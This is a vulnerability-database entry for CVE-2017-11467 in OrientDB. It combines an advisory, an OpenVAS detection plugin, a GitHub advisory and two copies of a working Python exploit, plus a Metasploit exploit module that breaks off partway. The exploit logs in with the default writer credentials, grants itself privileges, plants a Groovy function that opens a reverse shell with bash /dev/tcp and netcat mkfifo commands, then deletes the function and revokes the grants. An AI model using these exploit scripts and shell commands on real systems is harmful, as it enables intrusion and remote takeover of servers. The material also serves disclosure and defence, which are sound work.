ID CVE-2017-11467 Type cve Reporter cve@mitre.org Modified 2019-10-03T00:03:00
Description
OrientDB through 2.2.22 does not enforce privilege requirements during "where" or "fetchplan" or "order by" use, which allows remote attackers to execute arbitrary OS commands via a crafted request.
{"exploitpack": [{"lastseen": "2020-04-01T19:04:40", "description": "\nOrientDB - Code Execution", "edition": 1, "published": "2017-07-13T00:00:00", "title": "OrientDB - Code Execution", "type": "exploitpack", "bulletinFamily": "exploit", "cvelist": ["CVE-2017-11467"], "modified": "2017-07-13T00:00:00", "id": "EXPLOITPACK:5EC810D861302A13F9EC8A07E061669A", "href": "", "sourceData": "## Vulnerability Summary\nThe following advisory reports a vulnerability in OrientDB which allows users of the product to cause it to execute code.\n\nOrientDB is a Distributed Graph Database engine with the flexibility of a Document Database all in one product. The first and best scalable, high-performance, operational NoSQL database.\n\n## Credit\nAn independent security researcher, Francis Alexander, has reported this vulnerability to Beyond Security\u2019s SecuriTeam Secure Disclosure program.\n\n## Vendor response\nThe vendor has released patches to address this vulnerability and issue CVE-2017-11467.\nFor more information: https://github.com/orientechnologies/orientdb/wiki/OrientDB-2.2-Release-Notes#security.\n\n## Vulnerability Details\nOrientDB uses RBAC model for authentication schemes. By default an OrientDB has 3 roles \u2013 admin, writer and reader. These have their usernames same as the role. For each database created on the server, it assigns by default these 3 users.\n\nThe privileges of the users are:\n\nadmin \u2013 access to all functions on the database without any limitation\nreader \u2013 read-only user. The reader can query any records in the database, but can\u2019t modify or delete them. It has no access to internal information, such as the users and roles themselves\nwriter \u2013 same as the \u2018reader\u2019, but it can also create, update and delete records\nORole\u200b structure handles users and their roles and is only accessible by the admin user. OrientDB requires oRole read permissions to allow the user to display the permissions of users and make other queries associated with oRole permissions.\n\nFrom version 2.2.x and above whenever the oRole is queried with a where, fetchplan and order by statements\u200b, this permission requirement is not required and information is returned to unprivileged users.\n\nExample:\n\n\n```\nselect * from <em>oRole</em> order by name;\n```\n\nThe user writer which is created with every database you create. Thus even if the db admin changes the admin user password, an attacker would still be able to get Code Execution with the writer user.\n\nSince we enable the functions where, fetchplan and order by, and OrientDB has a function where you could execute groovy functions and this groovy wrapper doesn\u2019t have a sandbox and exposes system functionalities, we can run any command we want.\n\nSample Groovy function:\nCommand.md\n\n```\ndef command = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 8081\n>/tmp/f'\n File file = new File(\"hello.sh\")\n file.delete()\n file << (\"#!/bin/bash\\n\")\n file << (command)\n def proc = \"bash hello.sh\".execute()\n```\n\n## Proof of Concept\nRun Netcat at port 8081\n\n```\nnc -lv 8081\n```\n\nRun the following:\n\n```\npython PoC.py ip [port] // By default uses 2480\n```\n\nPoC.py\n\n```\nimport sys\nimport requests\nimport json\nimport string\nimport random\n\ntarget = sys.argv[1]\n\ntry:\n port = sys.argv[2] if sys.argv[2] else 2480\nexcept:\n port = 2480\n\nurl = \"http://%s:%s/command/GratefulDeadConcerts/sql/-/20?format=rid,type,version,class,graph\"%(target,port)\n\n\ndef random_function_name(size=5, chars=string.ascii_lowercase + string.digits):\n return ''.join(random.choice(chars) for _ in range(size))\n\ndef enum_databases(target,port=\"2480\"):\n\n base_url = \"http://%s:%s/listDatabases\"%(target,port)\n req = requests.get(base_url)\n\n if req.status_code == 200:\n #print \"[+] Database Enumeration successful\"\n database = req.json()['databases']\n\n return database\n\n return False\n\ndef check_version(target,port=\"2480\"):\n base_url = \"http://%s:%s/listDatabases\"%(target,port)\n req = requests.get(base_url)\n\n if req.status_code == 200:\n\n headers = req.headers['server']\n #print headers\n if \"2.2\" in headers or \"3.\" in headers:\n return True\n\n return False\n\ndef run_queries(permission,db,content=\"\"):\n\n databases = enum_databases(target)\n\n url = \"http://%s:%s/command/%s/sql/-/20?format=rid,type,version,class,graph\"%(target,port,databases[0])\n\n priv_enable = [\"create\",\"read\",\"update\",\"execute\",\"delete\"]\n #query = \"GRANT create ON database.class.ouser TO writer\"\n\n for priv in priv_enable:\n\n if permission == \"GRANT\":\n query = \"GRANT %s ON %s TO writer\"%(priv,db)\n else:\n query = \"REVOKE %s ON %s FROM writer\"%(priv,db)\n req = requests.post(url,data=query,auth=('writer','writer'))\n if req.status_code == 200:\n pass\n else:\n if priv == \"execute\":\n return True\n return False\n\n print \"[+] %s\"%(content)\n return True\n\ndef priv_escalation(target,port=\"2480\"):\n\n print \"[+] Checking OrientDB Database version is greater than 2.2\"\n\n if check_version(target,port):\n\n priv1 = run_queries(\"GRANT\",\"database.class.ouser\",\"Privilege Escalation done checking enabling operations on database.function\")\n priv2 = run_queries(\"GRANT\",\"database.function\",\"Enabled functional operations on database.function\")\n priv3 = run_queries(\"GRANT\",\"database.systemclusters\",\"Enabling access to system clusters\")\n\n if priv1 and priv2 and priv3:\n return True\n\n return False\n\ndef exploit(target,port=\"2480\"):\n\n #query = '\"@class\":\"ofunction\",\"@version\":0,\"@rid\":\"#-1:-1\",\"idempotent\":null,\"name\":\"most\",\"language\":\"groovy\",\"code\":\"def command = \\'bash -i >& /dev/tcp/0.0.0.0/8081 0>&1\\';File file = new File(\\\"hello.sh\\\");file.delete();file << (\\\"#!/bin/bash\\\\n\\\");file << (command);def proc = \\\"bash hello.sh\\\".execute(); \",\"parameters\":null'\n\n #query = {\"@class\":\"ofunction\",\"@version\":0,\"@rid\":\"#-1:-1\",\"idempotent\":None,\"name\":\"ost\",\"language\":\"groovy\",\"code\":\"def command = 'whoami';File file = new File(\\\"hello.sh\\\");file.delete();file << (\\\"#!/bin/bash\\\\n\\\");file << (command);def proc = \\\"bash hello.sh\\\".execute(); \",\"parameters\":None}\n\n func_name = random_function_name()\n\n print func_name\n\n databases = enum_databases(target)\n\n reverse_ip = raw_input('Enter the ip to connect back: ')\n\n query = '{\"@class\":\"ofunction\",\"@version\":0,\"@rid\":\"#-1:-1\",\"idempotent\":null,\"name\":\"'+func_name+'\",\"language\":\"groovy\",\"code\":\"def command = \\'bash -i >& /dev/tcp/'+reverse_ip+'/8081 0>&1\\';File file = new File(\\\\\"hello.sh\\\\\");file.delete();file << (\\\\\"#!/bin/bash\\\\\\\\n\\\\\");file << (command);def proc = \\\\\"bash hello.sh\\\\\".execute();\",\"parameters\":null}'\n #query = '{\"@class\":\"ofunction\",\"@version\":0,\"@rid\":\"#-1:-1\",\"idempotent\":null,\"name\":\"'+func_name+'\",\"language\":\"groovy\",\"code\":\"def command = \\'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 8081 >/tmp/f\\' \\u000a File file = new File(\\\"hello.sh\\\")\\u000a file.delete() \\u000a file << (\\\"#!/bin/bash\\\")\\u000a file << (command)\\n def proc = \\\"bash hello.sh\\\".execute() \",\"parameters\":null}'\n #query = {\"@class\":\"ofunction\",\"@version\":0,\"@rid\":\"#-1:-1\",\"idempotent\":None,\"name\":\"lllasd\",\"language\":\"groovy\",\"code\":\"def command = \\'bash -i >& /dev/tcp/0.0.0.0/8081 0>&1\\';File file = new File(\\\"hello.sh\\\");file.delete();file << (\\\"#!/bin/bash\\\\n\\\");file << (command);def proc = \\\"bash hello.sh\\\".execute();\",\"parameters\":None}\n req = requests.post(\"http://%s:%s/document/%s/-1:-1\"%(target,port,databases[0]),data=query,auth=('writer','writer'))\n\n if req.status_code == 201:\n\n #print req.status_code\n #print req.json()\n\n func_id = req.json()['@rid'].strip(\"#\")\n #print func_id\n\n print \"[+] Exploitation successful, get ready for your shell.Executing %s\"%(func_name)\n\n req = requests.post(\"http://%s:%s/function/%s/%s\"%(target,port,databases[0],func_name),auth=('writer','writer'))\n #print req.status_code\n #print req.text\n\n if req.status_code == 200:\n print \"[+] Open netcat at port 8081..\"\n else:\n print \"[+] Exploitation failed at last step, try running the script again.\"\n print req.status_code\n print req.text\n\n #print \"[+] Deleting traces..\"\n\n req = requests.delete(\"http://%s:%s/document/%s/%s\"%(target,port,databases[0],func_id),auth=('writer','writer'))\n priv1 = run_queries(\"REVOKE\",\"database.class.ouser\",\"Cleaning Up..database.class.ouser\")\n priv2 = run_queries(\"REVOKE\",\"database.function\",\"Cleaning Up..database.function\")\n priv3 = run_queries(\"REVOKE\",\"database.systemclusters\",\"Cleaning Up..database.systemclusters\")\n\n #print req.status_code\n #print req.text\n\ndef main():\n\n target = sys.argv[1]\n #port = sys.argv[1] if sys.argv[1] else 2480\n try:\n port = sys.argv[2] if sys.argv[2] else 2480\n #print port\n except:\n port = 2480\n if priv_escalation(target,port):\n exploit(target,port)\n else:\n print \"[+] Target not vulnerable\"\n\nmain()\n```", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "openvas": [{"lastseen": "2019-05-29T18:34:04", "bulletinFamily": "scanner", "cvelist": ["CVE-2017-11467"], "description": "OrientDB does not enforce privilege requirements during ", "modified": "2018-10-12T00:00:00", "published": "2017-10-12T00:00:00", "id": "OPENVAS:1361412562310112079", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310112079", "type": "openvas", "title": "OrientDB Server Remote Code Execution Vulnerability", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: gb_orientdb_rce_vuln.nasl 11874 2018-10-12 11:28:04Z mmartin $\n#\n# OrientDB Server Remote Code Execution Vulnerability\n#\n# Authors:\n# Adrian Steins <adrian.steins@greenbone.net>\n#\n# Copyright:\n# Copyright (C) 2017 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nCPE = \"cpe:/a:orientdb:orientdb\";\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.112079\");\n script_version(\"$Revision: 11874 $\");\n script_cve_id(\"CVE-2017-11467\");\n script_tag(name:\"cvss_base\", value:\"10.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_tag(name:\"last_modification\", value:\"$Date: 2018-10-12 13:28:04 +0200 (Fri, 12 Oct 2018) $\");\n script_tag(name:\"creation_date\", value:\"2017-10-12 09:13:31 +0200 (Thu, 12 Oct 2017)\");\n script_tag(name:\"qod_type\", value:\"remote_banner\");\n script_name(\"OrientDB Server Remote Code Execution Vulnerability\");\n\n script_tag(name:\"summary\", value:\"OrientDB does not enforce privilege requirements during 'where' or 'fetchplan'\n or 'order by' use, which allows remote attackers to execute arbitrary OS commands via a crafted request.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"OrientDB uses RBAC model for authentication schemes. By default an OrientDB has 3 roles - admin, writer and reader.\n These have their usernames same as the role. For each database created on the server, it assigns by default these 3 users.\n\n The privileges of the users are:\n\n admin - access to all functions on the database without any limitation\n\n reader - read-only user. The reader can query any records in the database, but can't modify or delete them. It has no access to internal information, such as the users and roles themselves\n\n writer - same as the 'reader', but it can also create, update and delete records\n\n ORole structure handles users and their roles and is only accessible by the admin user. OrientDB requires oRole read permissions to allow the user\n to display the permissions of users and make other queries associated with oRole permissions.\n\n From version 2.2.x and above whenever the oRole is queried with a where, fetchplan and order by statements,\n this permission requirement is not required and information is returned to unprivileged users.\n\n Since OrientDB has a function where one could execute groovy functions and this groovy wrapper doesn't have a sandbox and exposes system functionalities,\n it is possible to run any command.\");\n\n script_tag(name:\"affected\", value:\"OrientDB Server version 2.2.x to 2.2.22\");\n\n script_tag(name:\"solution\", value:\"Upgrade to OrientDB Server version 2.2.23 or later.\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n\n script_xref(name:\"URL\", value:\"http://www.heavensec.org/?p=1703\");\n script_xref(name:\"URL\", value:\"https://github.com/orientechnologies/orientdb/wiki/OrientDB-2.2-Release-Notes#2223---july-11-2017\");\n\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2017 Greenbone Networks GmbH\");\n script_family(\"Web application abuses\");\n script_dependencies(\"gb_orientdb_server_detect.nasl\");\n script_mandatory_keys(\"OrientDB/Installed\");\n script_require_ports(\"Services/www\", 2480);\n script_xref(name:\"URL\", value:\"http://orientdb.com/\");\n exit(0);\n}\n\ninclude(\"version_func.inc\");\ninclude(\"host_details.inc\");\n\nif(!port = get_app_port(cpe:CPE)){\n exit(0);\n}\n\nif(!ver = get_app_version(cpe:CPE, port:port)){\n exit(0);\n}\n\nif(version_in_range(version:ver, test_version:\"2.2\", test_version2:\"2.2.22\"))\n{\n report = report_fixed_ver(installed_version:ver, fixed_version:\"2.2.23\");\n security_message(data:report, port:port);\n exit(0);\n}\n\nexit(99);\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "exploitdb": [{"lastseen": "2018-02-15T18:55:25", "description": "OrientDB - Code Execution. CVE-2017-11467. Remote exploit for Windows platform", "published": "2017-07-13T00:00:00", "type": "exploitdb", "title": "OrientDB - Code Execution", "bulletinFamily": "exploit", "cvelist": ["CVE-2017-11467"], "modified": "2017-07-13T00:00:00", "id": "EDB-ID:44068", "href": "https://www.exploit-db.com/exploits/44068/", "sourceData": "## Vulnerability Summary\r\nThe following advisory reports a vulnerability in OrientDB which allows users of the product to cause it to execute code.\r\n\r\nOrientDB is a Distributed Graph Database engine with the flexibility of a Document Database all in one product. The first and best scalable, high-performance, operational NoSQL database.\r\n\r\n## Credit\r\nAn independent security researcher, Francis Alexander, has reported this vulnerability to Beyond Security\u2019s SecuriTeam Secure Disclosure program.\r\n\r\n## Vendor response\r\nThe vendor has released patches to address this vulnerability and issue CVE-2017-11467.\r\nFor more information: https://github.com/orientechnologies/orientdb/wiki/OrientDB-2.2-Release-Notes#security.\r\n\r\n## Vulnerability Details\r\nOrientDB uses RBAC model for authentication schemes. By default an OrientDB has 3 roles \u2013 admin, writer and reader. These have their usernames same as the role. For each database created on the server, it assigns by default these 3 users.\r\n\r\nThe privileges of the users are:\r\n\r\nadmin \u2013 access to all functions on the database without any limitation\r\nreader \u2013 read-only user. The reader can query any records in the database, but can\u2019t modify or delete them. It has no access to internal information, such as the users and roles themselves\r\nwriter \u2013 same as the \u2018reader\u2019, but it can also create, update and delete records\r\nORole\u200b structure handles users and their roles and is only accessible by the admin user. OrientDB requires oRole read permissions to allow the user to display the permissions of users and make other queries associated with oRole permissions.\r\n\r\nFrom version 2.2.x and above whenever the oRole is queried with a where, fetchplan and order by statements\u200b, this permission requirement is not required and information is returned to unprivileged users.\r\n\r\nExample:\r\n\r\n\r\n```\r\nselect * from <em>oRole</em> order by name;\r\n```\r\n\r\nThe user writer which is created with every database you create. Thus even if the db admin changes the admin user password, an attacker would still be able to get Code Execution with the writer user.\r\n\r\nSince we enable the functions where, fetchplan and order by, and OrientDB has a function where you could execute groovy functions and this groovy wrapper doesn\u2019t have a sandbox and exposes system functionalities, we can run any command we want.\r\n\r\nSample Groovy function:\r\nCommand.md\r\n\r\n```\r\ndef command = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 8081\r\n>/tmp/f'\r\n File file = new File(\"hello.sh\")\r\n file.delete()\r\n file << (\"#!/bin/bash\\n\")\r\n file << (command)\r\n def proc = \"bash hello.sh\".execute()\r\n```\r\n\r\n## Proof of Concept\r\nRun Netcat at port 8081\r\n\r\n```\r\nnc -lv 8081\r\n```\r\n\r\nRun the following:\r\n\r\n```\r\npython PoC.py ip [port] // By default uses 2480\r\n```\r\n\r\nPoC.py\r\n\r\n```\r\nimport sys\r\nimport requests\r\nimport json\r\nimport string\r\nimport random\r\n\r\ntarget = sys.argv[1]\r\n\r\ntry:\r\n port = sys.argv[2] if sys.argv[2] else 2480\r\nexcept:\r\n port = 2480\r\n\r\nurl = \"http://%s:%s/command/GratefulDeadConcerts/sql/-/20?format=rid,type,version,class,graph\"%(target,port)\r\n\r\n\r\ndef random_function_name(size=5, chars=string.ascii_lowercase + string.digits):\r\n return ''.join(random.choice(chars) for _ in range(size))\r\n\r\ndef enum_databases(target,port=\"2480\"):\r\n\r\n base_url = \"http://%s:%s/listDatabases\"%(target,port)\r\n req = requests.get(base_url)\r\n\r\n if req.status_code == 200:\r\n #print \"[+] Database Enumeration successful\"\r\n database = req.json()['databases']\r\n\r\n return database\r\n\r\n return False\r\n\r\ndef check_version(target,port=\"2480\"):\r\n base_url = \"http://%s:%s/listDatabases\"%(target,port)\r\n req = requests.get(base_url)\r\n\r\n if req.status_code == 200:\r\n\r\n headers = req.headers['server']\r\n #print headers\r\n if \"2.2\" in headers or \"3.\" in headers:\r\n return True\r\n\r\n return False\r\n\r\ndef run_queries(permission,db,content=\"\"):\r\n\r\n databases = enum_databases(target)\r\n\r\n url = \"http://%s:%s/command/%s/sql/-/20?format=rid,type,version,class,graph\"%(target,port,databases[0])\r\n\r\n priv_enable = [\"create\",\"read\",\"update\",\"execute\",\"delete\"]\r\n #query = \"GRANT create ON database.class.ouser TO writer\"\r\n\r\n for priv in priv_enable:\r\n\r\n if permission == \"GRANT\":\r\n query = \"GRANT %s ON %s TO writer\"%(priv,db)\r\n else:\r\n query = \"REVOKE %s ON %s FROM writer\"%(priv,db)\r\n req = requests.post(url,data=query,auth=('writer','writer'))\r\n if req.status_code == 200:\r\n pass\r\n else:\r\n if priv == \"execute\":\r\n return True\r\n return False\r\n\r\n print \"[+] %s\"%(content)\r\n return True\r\n\r\ndef priv_escalation(target,port=\"2480\"):\r\n\r\n print \"[+] Checking OrientDB Database version is greater than 2.2\"\r\n\r\n if check_version(target,port):\r\n\r\n priv1 = run_queries(\"GRANT\",\"database.class.ouser\",\"Privilege Escalation done checking enabling operations on database.function\")\r\n priv2 = run_queries(\"GRANT\",\"database.function\",\"Enabled functional operations on database.function\")\r\n priv3 = run_queries(\"GRANT\",\"database.systemclusters\",\"Enabling access to system clusters\")\r\n\r\n if priv1 and priv2 and priv3:\r\n return True\r\n\r\n return False\r\n\r\ndef exploit(target,port=\"2480\"):\r\n\r\n #query = '\"@class\":\"ofunction\",\"@version\":0,\"@rid\":\"#-1:-1\",\"idempotent\":null,\"name\":\"most\",\"language\":\"groovy\",\"code\":\"def command = \\'bash -i >& /dev/tcp/0.0.0.0/8081 0>&1\\';File file = new File(\\\"hello.sh\\\");file.delete();file << (\\\"#!/bin/bash\\\\n\\\");file << (command);def proc = \\\"bash hello.sh\\\".execute(); \",\"parameters\":null'\r\n\r\n #query = {\"@class\":\"ofunction\",\"@version\":0,\"@rid\":\"#-1:-1\",\"idempotent\":None,\"name\":\"ost\",\"language\":\"groovy\",\"code\":\"def command = 'whoami';File file = new File(\\\"hello.sh\\\");file.delete();file << (\\\"#!/bin/bash\\\\n\\\");file << (command);def proc = \\\"bash hello.sh\\\".execute(); \",\"parameters\":None}\r\n\r\n func_name = random_function_name()\r\n\r\n print func_name\r\n\r\n databases = enum_databases(target)\r\n\r\n reverse_ip = raw_input('Enter the ip to connect back: ')\r\n\r\n query = '{\"@class\":\"ofunction\",\"@version\":0,\"@rid\":\"#-1:-1\",\"idempotent\":null,\"name\":\"'+func_name+'\",\"language\":\"groovy\",\"code\":\"def command = \\'bash -i >& /dev/tcp/'+reverse_ip+'/8081 0>&1\\';File file = new File(\\\\\"hello.sh\\\\\");file.delete();file << (\\\\\"#!/bin/bash\\\\\\\\n\\\\\");file << (command);def proc = \\\\\"bash hello.sh\\\\\".execute();\",\"parameters\":null}'\r\n #query = '{\"@class\":\"ofunction\",\"@version\":0,\"@rid\":\"#-1:-1\",\"idempotent\":null,\"name\":\"'+func_name+'\",\"language\":\"groovy\",\"code\":\"def command = \\'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 8081 >/tmp/f\\' \\u000a File file = new File(\\\"hello.sh\\\")\\u000a file.delete() \\u000a file << (\\\"#!/bin/bash\\\")\\u000a file << (command)\\n def proc = \\\"bash hello.sh\\\".execute() \",\"parameters\":null}'\r\n #query = {\"@class\":\"ofunction\",\"@version\":0,\"@rid\":\"#-1:-1\",\"idempotent\":None,\"name\":\"lllasd\",\"language\":\"groovy\",\"code\":\"def command = \\'bash -i >& /dev/tcp/0.0.0.0/8081 0>&1\\';File file = new File(\\\"hello.sh\\\");file.delete();file << (\\\"#!/bin/bash\\\\n\\\");file << (command);def proc = \\\"bash hello.sh\\\".execute();\",\"parameters\":None}\r\n req = requests.post(\"http://%s:%s/document/%s/-1:-1\"%(target,port,databases[0]),data=query,auth=('writer','writer'))\r\n\r\n if req.status_code == 201:\r\n\r\n #print req.status_code\r\n #print req.json()\r\n\r\n func_id = req.json()['@rid'].strip(\"#\")\r\n #print func_id\r\n\r\n print \"[+] Exploitation successful, get ready for your shell.Executing %s\"%(func_name)\r\n\r\n req = requests.post(\"http://%s:%s/function/%s/%s\"%(target,port,databases[0],func_name),auth=('writer','writer'))\r\n #print req.status_code\r\n #print req.text\r\n\r\n if req.status_code == 200:\r\n print \"[+] Open netcat at port 8081..\"\r\n else:\r\n print \"[+] Exploitation failed at last step, try running the script again.\"\r\n print req.status_code\r\n print req.text\r\n\r\n #print \"[+] Deleting traces..\"\r\n\r\n req = requests.delete(\"http://%s:%s/document/%s/%s\"%(target,port,databases[0],func_id),auth=('writer','writer'))\r\n priv1 = run_queries(\"REVOKE\",\"database.class.ouser\",\"Cleaning Up..database.class.ouser\")\r\n priv2 = run_queries(\"REVOKE\",\"database.function\",\"Cleaning Up..database.function\")\r\n priv3 = run_queries(\"REVOKE\",\"database.systemclusters\",\"Cleaning Up..database.systemclusters\")\r\n\r\n #print req.status_code\r\n #print req.text\r\n\r\ndef main():\r\n\r\n target = sys.argv[1]\r\n #port = sys.argv[1] if sys.argv[1] else 2480\r\n try:\r\n port = sys.argv[2] if sys.argv[2] else 2480\r\n #print port\r\n except:\r\n port = 2480\r\n if priv_escalation(target,port):\r\n exploit(target,port)\r\n else:\r\n print \"[+] Target not vulnerable\"\r\n\r\nmain()\r\n```", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://www.exploit-db.com/download/44068/"}], "github": [{"lastseen": "2020-03-10T23:26:08", "bulletinFamily": "software", "cvelist": ["CVE-2017-11467"], "description": "OrientDB through 2.2.22 does not enforce privilege requirements during \"where\" or \"fetchplan\" or \"order by\" use, which allows remote attackers to execute arbitrary OS commands via a crafted request.", "edition": 2, "modified": "2019-07-03T21:02:04", "published": "2018-10-18T17:40:56", "id": "GHSA-XM6R-4466-MR74", "href": "https://github.com/advisories/GHSA-xm6r-4466-mr74", "title": "High severity vulnerability that affects com.orientechnologies:orientdb-core", "type": "github", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "metasploit": [{"lastseen": "2020-10-14T08:17:27", "description": "This module leverages a privilege escalation on OrientDB to execute unsandboxed OS commands. All versions from 2.2.2 up to 2.2.22 should be vulnerable.\n", "published": "2017-07-18T15:53:44", "type": "metasploit", "title": "OrientDB 2.2.x Remote Code Execution", "bulletinFamily": "exploit", "cvelist": ["CVE-2017-11467"], "modified": "2020-10-02T20:00:37", "id": "MSF:EXPLOIT/MULTI/HTTP/ORIENTDB_EXEC", "href": "", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = GoodRanking\n\n include Msf::Exploit::Remote::HttpClient\n include Msf::Exploit::CmdStager\n\n def initialize(info = {})\n super(update_info(info,\n 'Name' => 'OrientDB 2.2.x Remote Code Execution',\n 'Description' => %q{\n This module leverages a privilege escalation on OrientDB to execute unsandboxed OS commands.\n All versions from 2.2.2 up to 2.2.22 should be vulnerable.\n },\n 'Author' =>\n [\n 'Francis Alexander - Beyond Security\\'s SecuriTeam Secure Disclosure program', # Public PoC\n 'Ricardo Jorge Borges de Almeida ricardojba1[at]gmail.com', # Metasploit Module\n ],\n 'License' => MSF_LICENSE,\n 'References' =>\n [\n ['CVE', '2017-11467'],\n ['URL', 'https://blogs.securiteam.com/index.php/archives/3318'],\n ['URL', 'http://www.palada.net/index.php/2017/07/13/news-2112/'],\n ['URL', 'https://github.com/orientechnologies/orientdb/wiki/OrientDB-2.2-Release-Notes#2223---july-11-2017']\n ],\n 'Platform' => %w{ linux unix win },\n 'Privileged' => false,\n 'Targets' =>\n [\n ['Linux', {'Arch' => ARCH_X86, 'Platform' => 'linux' }],\n ['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => \"\\x22\"}}],\n ['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win', 'CmdStagerFlavor' => ['vbs','certutil']}]\n ],\n 'DisclosureDate' => '2017-07-13',\n 'DefaultTarget' => 0))\n\n register_options(\n [\n Opt::RPORT(2480),\n OptString.new('USERNAME', [ true, 'HTTP Basic Auth User', 'writer' ]),\n OptString.new('PASSWORD', [ true, 'HTTP Basic Auth Password', 'writer' ]),\n OptString.new('TARGETURI', [ true, 'The path to the OrientDB application', '/' ])\n ])\n\n self.needs_cleanup = true\n end\n\n def check\n uri = target_uri\n uri.path = normalize_uri(uri.path)\n res = send_request_raw({'uri' => \"#{uri.path}listDatabases\"})\n if res and res.code == 200 and res.headers['Server'] =~ /OrientDB Server v\\.2\\.2\\./\n print_good(\"Version: #{res.headers['Server']}\")\n return Exploit::CheckCode::Vulnerable\n else\n print_status(\"Version: #{res.headers['Server']}\")\n return Exploit::CheckCode::Safe\n end\n end\n\n def http_send_command(cmd, opts = {})\n # 1 -Create the malicious function\n func_name = Rex::Text::rand_text_alpha(5).downcase\n request_parameters = {\n 'method' => 'POST',\n 'uri' => normalize_uri(@uri.path, \"/document/#{opts}/-1:-1\"),\n 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),\n 'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' },\n 'data' => \"{\\\"@class\\\":\\\"ofunction\\\",\\\"@version\\\":0,\\\"@rid\\\":\\\"#-1:-1\\\",\\\"idempotent\\\":null,\\\"name\\\":\\\"#{func_name}\\\",\\\"language\\\":\\\"groovy\\\",\\\"code\\\":\\\"#{java_craft_runtime_exec(cmd)}\\\",\\\"parameters\\\":null}\"\n }\n res = send_request_raw(request_parameters)\n if not (res and res.code == 201)\n begin\n json_body = JSON.parse(res.body)\n rescue JSON::ParserError\n fail_with(Failure::Unknown, 'Failed to create the malicious function.')\n return\n end\n end\n # 2 - Trigger the malicious function\n request_parameters = {\n 'method' => 'POST',\n 'uri' => normalize_uri(@uri.path, \"/function/#{opts}/#{func_name}\"),\n 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),\n 'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' },\n 'data' => \"\"\n }\n req = send_request_raw(request_parameters)\n if not (req and req.code == 200)\n begin\n json_body = JSON.parse(res.body)\n rescue JSON::ParserError\n fail_with(Failure::Unknown, 'Failed to trigger the malicious function.')\n return\n end\n end\n # 3 - Get the malicious function id\n if res && res.body.length > 0\n begin\n json_body = JSON.parse(res.body)[\"@rid\"]\n rescue JSON::ParserError\n fail_with(Failure::Unknown, 'Failed to obtain the malicious function id for deletion.')\n return\n end\n end\n func_id = json_body.slice(1..-1)\n # 4 - Delete the malicious function\n request_parameters = {\n 'method' => 'DELETE',\n 'uri' => normalize_uri(@uri.path, \"/document/#{opts}/#{func_id}\"),\n 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),\n 'headers' => { 'Accept' => '*/*' },\n 'data' => \"\"\n }\n rer = send_request_raw(request_parameters)\n if not (rer and rer.code == 204)\n begin\n json_body = JSON.parse(res.body)\n rescue JSON::ParserError\n fail_with(Failure::Unknown, 'Failed to delete the malicious function.')\n return\n end\n end\n end\n\n def java_craft_runtime_exec(cmd)\n decoder = Rex::Text.rand_text_alpha(5, 8)\n decoded_bytes = Rex::Text.rand_text_alpha(5, 8)\n cmd_array = Rex::Text.rand_text_alpha(5, 8)\n jcode = \"sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\\n\"\n jcode << \"byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\\\"#{Rex::Text.encode_base64(cmd)}\\\");\\n\"\n jcode << \"String [] #{cmd_array} = new String[3];\\n\"\n if target['Platform'] == 'win'\n jcode << \"#{cmd_array}[0] = \\\"cmd.exe\\\";\\n\"\n jcode << \"#{cmd_array}[1] = \\\"/c\\\";\\n\"\n else\n jcode << \"#{cmd_array}[0] = \\\"/bin/sh\\\";\\n\"\n jcode << \"#{cmd_array}[1] = \\\"-c\\\";\\n\"\n end\n jcode << \"#{cmd_array}[2] = new String(#{decoded_bytes}, \\\"UTF-8\\\");\\n\"\n jcode << \"Runtime.getRuntime().exec(#{cmd_array});\\n\"\n jcode\n end\n\n def on_new_session(client)\n if not @to_delete.nil?\n print_warning(\"Deleting #{@to_delete} payload file\")\n execute_command(\"rm #{@to_delete}\")\n end\n end\n\n def execute_command(cmd, opts = {})\n vprint_status(\"Attempting to execute: #{cmd}\")\n @uri = target_uri\n @uri.path = normalize_uri(@uri.path)\n res = send_request_raw({'uri' => 